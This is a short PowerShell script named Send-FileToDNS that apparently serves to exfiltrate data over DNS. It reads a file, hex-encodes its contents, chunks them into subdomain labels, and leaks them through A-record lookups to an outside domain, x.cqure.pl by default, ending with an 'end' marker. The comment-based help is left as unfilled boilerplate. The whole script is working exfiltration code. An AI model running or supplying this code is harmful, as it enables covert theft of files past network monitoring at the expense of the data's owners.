Send-FileToDNS.ps1

param([string] $FilePath, [string] $Domain= 'x.cqure.pl')
  <#
      .SYNOPSIS
      Describe purpose of "Send-FileToDNS" in 1-2 sentences.

      .DESCRIPTION
      Add a more complete description of what the function does.

      .PARAMETER FilePath
      Describe parameter -FilePath.

      .PARAMETER Domain
      Describe parameter -Domain.

      .EXAMPLE
      Send-FileToDNS -FilePath Value -Domain Value
      Describe what this call does

      .NOTES
      Place additional notes here.

      .LINK
      URLs to related sites
      The first link is opened by Get-Help -Online Send-FileToDNS

      .INPUTS
      List of input types that are accepted by this function.

      .OUTPUTS
      List of output types produced by this function.
  #>


  $Domain 
  $extension = [IO.Path]::GetExtension($FilePath)
  $hashName = ([string](Get-FileHash $FilePath -Algorithm MD5).Hash).Substring(0,10)
  $b = ([string][BitConverter]::ToString([IO.File]::ReadAllBytes($FilePath))).Replace("-","")
  $b.Length

  $part = 
  $counter = 0
  $data = ""
  $i =0
  while($counter -lt $b.Length){
    if($b.Length - $counter -le 45){
        $data = $data+"."+$b.Substring($counter,$b.Length -$counter)
        $counter = $counter + 45
        Resolve-DnsName $hashName"$extension.$part$data.$Domain" -Type A 
        
        break
    }else{
        $data = $data+"."+$b.Substring($counter,45)
        $counter = $counter + 45
    }
    $i++
    if($i -eq 4){
        
        Resolve-DnsName $hashName"$extension.$part$data.$Domain" -Type A
        
        $data = ""
        $i = 0
        $part++
    }
  }

  Start-Sleep -Seconds 2

  Resolve-DnsName $hashName"$extension.end.$Domain" -Type A